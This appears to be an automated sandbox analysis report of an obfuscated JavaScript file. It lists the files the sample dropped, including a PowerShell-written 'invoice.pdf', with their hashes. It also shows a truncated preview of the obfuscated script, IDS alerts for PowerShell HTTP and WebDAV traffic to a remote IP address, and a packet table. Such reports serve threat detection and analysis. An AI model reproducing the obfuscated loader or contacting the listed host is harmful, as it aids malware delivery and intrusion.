Encrypted:	false
SSDEEP:	384:Sc+1mgzLoLHFa4uPV9IB12MhtGLP0uutB+7VfXFHRCiXiypbQtmtMFbeuQgCDckK:qzm
MD5:	036EEA2A7F534B221EA76706E78796F0
SHA1:	300CD4961C66F716D53C92496CA343F7F054CAC2
SHA-256:	ED4CD93A3AEB10EA9AAA14B763083485E7CACF4A1C0A5C0A400CA9986C9F3C46
SHA-512:	9BA508B9BF69D175025BAE2FFCEAB9F355195816263EE79D1B24A1CBA36E7661AD7F0A9978B685EC787430D73AA0EF11DB5BF43329319942385C6CFD1B419635
Malicious:	false
Preview:	SessionID=297c0ab4-e952-4004-8ca2-46907e239ecf.1736541601523 Timestamp=2025-01-10T15:40:01:523-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=297c0ab4-e952-4004-8ca2-46907e239ecf.1736541601523 Timestamp=2025-01-10T15:40:01:524-0500 ThreadID=7320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=297c0ab4-e952-4004-8ca2-46907e239ecf.1736541601523 Timestamp=2025-01-10T15:40:01:524-0500 ThreadID=7320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=297c0ab4-e952-4004-8ca2-46907e239ecf.1736541601523 Timestamp=2025-01-10T15:40:01:524-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=297c0ab4-e952-4004-8ca2-46907e239ecf.1736541601523 Timestamp=2025-01-10T15:40:01:524-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.404475848413231
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRzG:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRo
MD5:	45C18E59320DA0C2DA495F10B8A1FF8A
SHA1:	38CF082E0492CF3FB499BC72603207B109508B5F
SHA-256:	65D607DDD75CC4B26B4C900788F719A968C4C87946E754EB880348E713D42271
SHA-512:	19924284BC04E1DEF7A725827323977ACDD9E40A2F0A8F66DE3D28F58576219B5AF3DE68CE47E217E03FDF86869C30A46F0639AAF7512AC58A2B91E86D9364F1
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\53c9a05d-cf3c-4852-b827-bfd19f12213f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oMYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxMZGBGZn3mlind9i4ufFXpAXkru
MD5:	88DBC4FAE46D0D16E3CF736C68612A35
SHA1:	17789925B3BBF8336D28BCFD698E6C0520A8A6C7
SHA-256:	0CAE3C61EB418C13ABB16D8DB85C7B7199AF31768750F5EA05FFD3868DAAA030
SHA-512:	67C286755521835FB72773EDCE1514FD65DB28A4E1856B7B53CE2383EA50C9125FF507484964803BA9B0BE83D7E86C8DE8E17D837AB42ECA713E607C17875D81
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5dad0fa9-ea49-4fd1-908e-b960265a3f4c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\69312edd-d54c-4805-9fbd-107d85239d9a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ad3bad8f-7aa9-419f-a3da-e3f203f47f3e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16259), with CRLF line terminators
Entropy (8bit):	4.9184458589674085
TrID:
File name:	984279432356016169.js
File size:	19'760 bytes
MD5:	218833034a1bbe71df914a3fd8315dba
SHA1:	f4d5521654ff42c94944cfe2e73ca803fa28fa2d
SHA256:	a4a156e74b7524701bc14aa7af04c67bae282d1731f95e90f64bc2ed4490e831
SHA512:	ccfe3d11d095a63e13fd5fd52f5778ac47fd735be396fcabca23d6576e6ff0c1cc58a519868ec3fbbaa937f624fbcb94db687d2671f4d9439f53f4a475265806
SSDEEP:	384:OjJKTDypEvFAWbZWxeaF4+1jSwIfyRywT2uof9pd92Fs9hjKeoPsuA6mAkV:gJmDh2G+1jC6mAk
TLSH:	0F92E08DF65B9F9B8ED824A8846F1C12F3C041CCD750F29A1452798C6F15222FAD87BB
File Content Preview:	function yluzlivnr(){riefgldxz=[1031,3079,5127,4103,2055,3072];var ousishobz=this[lawgpf+vavet+iidlhjdnn+wzqga+eveihnfnk+pnlne+sgncnivif+nwevd](this[vnguw+kdiqe+ybulpowfr+iidlhjdnn+zdkrof+lawgpf+nwevd][nkodcs+iidlhjdnn+eveihnfnk+vavet+nwevd+eveihnfnk+dkld

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:39:57.189145+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49845	193.143.1.205	80	TCP
2025-01-10T21:39:59.609014+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49861	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:39:56.370213985 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:56.375055075 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:56.375159025 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:56.403595924 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:56.408346891 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.188925028 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.188982964 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.188999891 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189007044 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189018965 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189033031 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189045906 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189058065 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189071894 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189085960 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.189145088 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.189181089 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.194010973 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.231173992 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.231189013 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.231286049 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.313416958 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313436985 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313452005 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313477039 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313493013 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313500881 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.313504934 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313549042 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.313560963 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.313909054 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313935041 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313949108 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.313980103 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.314012051 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314026117 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314058065 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.314827919 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314841986 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314855099 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314867973 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314872980 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.314876080 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.314912081 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.315582037 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.315695047 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.315706968 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.315718889 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.315733910 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.315743923 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.315768003 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.361732960 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.361762047 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.361774921 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.362251043 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.400029898 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.400048971 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.400207996 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.438570976 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438601971 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438652039 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438735962 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438749075 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438761950 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438767910 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438781023 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.438805103 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.438805103 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.438805103 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.439300060 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439352036 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439385891 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.439456940 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439480066 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439493895 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.439656973 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439702988 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.439775944 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439790010 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439806938 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439821959 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.439830065 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.439857960 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.440222025 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440252066 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440263033 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440294027 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.440299988 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440311909 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440324068 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440340996 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.440346956 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440360069 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.440370083 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.440424919 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.441319942 CET	80	49845	193.143.1.205	192.168.2.7
